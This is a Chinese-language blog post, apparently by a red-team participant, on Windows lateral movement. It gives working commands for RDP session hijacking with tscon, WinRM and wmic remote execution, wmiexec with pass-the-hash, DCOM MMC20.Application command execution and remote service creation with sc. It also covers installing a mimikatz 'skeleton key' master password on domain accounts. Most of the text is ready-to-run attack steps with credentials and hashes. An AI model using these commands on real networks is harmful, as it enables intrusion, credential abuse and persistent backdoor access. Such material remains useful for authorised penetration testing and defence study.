Lateral Movement
简介
这次去宁夏护网,发现我有的朋友连最基本的横向渗透有些都不晓得,他们问我 我也表达不清楚...,就想着写篇文章总结下吧
(慢慢更..)
可以发我邮箱讨论:muxue@protonmail.com
Tscon
我这里用的是Windows Server 2012利用PSEXEC提升至system权限
在一个机子上要是有多个用户登录,可以使用query user或者在任务管理器里查看状态

我们普通用户连接是需要密码的,但是system权限下就不需要
- 首先获取目标用户的id
query user username

- 连接用户
tscon id
tscon id /dest:console
我是直接rdp了 没有出现一个新的控制台,有大佬解决办法 拜托call一声
WinRM
winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
需要先配置
// 查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
// 开启 本地
winrm quickconfig -q
or
Enable-PSRemoting -Force

还得接着配置
winrm set winrm/config/Client @{TrustedHosts="*"} // 通配
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com"}
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com,IP"}
// 查看信任主机
winrm get winrm/config/client|findstr TrustedHosts
// Attack
winrs -r:192.168.0.114 -u:administrator -p:pass whoami

WMI
从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息
wmic /node:ip /user:administrator /password:pass process call create "command"
然后我要重点写下WMIEXEC,impacket里有py版本的,也有ps、c#的;我这里先记录vbs的
虽然有半shell 和 执行单条命令,但是我执行单条命令他给我返回了半交互式shell
cscript.exe //nologo wmiexec.vbs /shell ip username password

然后我们尝试使用hash(ps1,py,vbs的也可以 需要wce注入hash)
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell ip
python
python3 wmiexec.py muxue.com/administrator@10.10.0.128 -hashes lm:ntlm

ps
Invoke-WmiExec -target 10.10.0.128 -hash hash -username "administrator" -command calc

当然还有好多款工具是基于wmi的横向工具:
https://github.com/360-Linton-Lab/WMIHACKER
https://github.com/QAX-A-Team/sharpwmi
DOCM
先说下COM和DCOM是啥东西
COM:COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
DCOM:DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
也就是DCOM是COM(组件对象模型)的扩展
所以执行命令也得需要看组件
DCOM执行命令可以分为两种:
- 本地执行
- 对远程执行
在本地通过DCOM执行命令
- 先获取本地DCOM程序列表
使用一个powershell命令(在version3以上才有),Get-CimInstance
Get-CimInstance Win32_DCOMApplication, 低版本可以用Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

我们使用MMC20.APPLICATION COM 这个组件来进行命令执行

此 COM 对象允许您编写 MMC 管理单元操作的组件的脚本
2. 创建一个实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
注意要在管理员模式下

获取实例后,然后查看COM对象中的不同方法和属性
$com.Document.ActiveView | Get-Member

然后调用这个方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

使用DCOM对远程主机执行命令
- 简历ipc
- 创建实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","ip")) - 执行:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\1.exe","Minimized")
还有很多组件也可以执行命令 参考https://www.freebuf.com/articles/network/261454.html
SC
服务配置管理器
// 创建
sc \\ip create systemhelp binpath="cmd.exe /d c:/test.exe" start=auto
// 查看信息
sc \\ip qc systemhelp
// 开启
sc \\ip start systemhelp
// 删除
sc \\ip delete systemhelp /y

也可以使用scshell,https://github.com/Mr-Un1k0d3r/SCShell
SMB RELAY
SMB中继的攻击手法 可以去搜着看,或者我以后写出来..

set AutoRunScript post/windows/manage/migrate
Skeleton Key
也就是万能密码
用mimikatz就可以实现
privilege::debug
misc::skeleton
会为所有用户加一个,mimikatz的密码
配个图

Lateral Movement的更多相关文章
- Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)
09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security A New Security Paradigm for IoT (Inter ...
- Coablt strike官方教程中文译版本
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- 开源流量分析系统 Apache Spot 概述(转)
原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...
- Coablt strike官方教程中文版
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- ATT&CK框架学习
ATT&CK模型 ATT&CK是分析攻击者行为(即TTPs)的威胁分析框架.ATT&CK框架核心就是以矩阵形式展现的TTPs,即Tactics, Techniques and ...
- ATT&CK模型
Credential Dumping(凭证窃取) Dump credentials from LSASS(从LSASS中窃取凭证) 实现原理: This technique injects into ...
- 【路径规划】 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame (附python代码实例)
参考与前言 2010年,论文 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame 地址:https ...
- hive 使用笔记(table format;lateral view)
1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...
- JQuery时间轴timeline插件的学习-Lateral On-Scroll Sliding with jQuery+technotarek / timeliner
一.Lateral On-Scroll Sliding with jQuery的使用 View demo Download source 1. HTML结构 <div id=" ...
随机推荐
- 低代码开发LCDP,Power Apps系列 - 新建泰勒创新中心门户案例
低代码简介 上世纪八十年代,美国就有一些公司和实验室开始了可视化编程的研究,做出了4GL"第四代编程语言",到后来衍生成VPL"Visual Programming La ...
- 第13章:Kubernetes 鉴权框架与用户权限分配
1.Kubernetes的安全框架 访问K8S集群的资源需要过三关:认证.鉴权.准入控制 普通用户若要安全访问集群API Server,往往需要证书.Token或者用户名+密码:Pod访问,需要Ser ...
- HDU 4292 Food 多源多汇入门题
Food 有F种食物和D种饮料,每种食物或饮料只能供有限次,且每个人只享用一种食物和一种饮料.现在有n个人,每个人都有自己喜欢的食物种类列表和饮料种类列表,问最多能使几个人同时享用到自己喜欢的食物和饮 ...
- AcWing 1303. 斐波那契前 n 项和
输出斐波那契数列前 n 项和 对m取摸的结果 #include<bits/stdc++.h> #define LL long long #define N 3 using namespac ...
- 资源:Hadoop安装包下载路径
下载路径 Hadoop所有版本:http://archive.apache.org/dist/hadoop/common/
- mysql某建表语句
CREATE TABLE `product_info`( `product_id` VARCHAR(32) NOT NULL COMMENT '主键', `product_name` VARCHAR( ...
- [源码解析] 深度学习分布式训练框架 horovod (15) --- 广播 & 通知
[源码解析] 深度学习分布式训练框架 horovod (15) --- 广播 & 通知 目录 [源码解析] 深度学习分布式训练框架 horovod (15) --- 广播 & 通知 0 ...
- Java基础00-字符串14
1. API 1.1 API概述 2. String String常用类的常用方法 String字符串变量的创建: 声明: String 变量名; String str; 声明并初始化: Str ...
- 【技巧】使用PPT更换背景色
主要记述使用PPT来更换图片某一部分的背景色 把想要更改的图片粘贴到PPT里. 依次选择[格式][颜色][设置透明色],然后点击需要更改背景的地方 将自己的目标颜色复制一下,填充上去,选择[置于底层]
- springboot-6-springSecurity
一.Spring Security的基本配置 安全需要在设计网站之初就需要做好设计 可以做到: 功能权限 访问权限 菜单权限 这些权限虽然用拦截器过滤器也能实现,但是很麻烦,所以我们一般使用框架实现 ...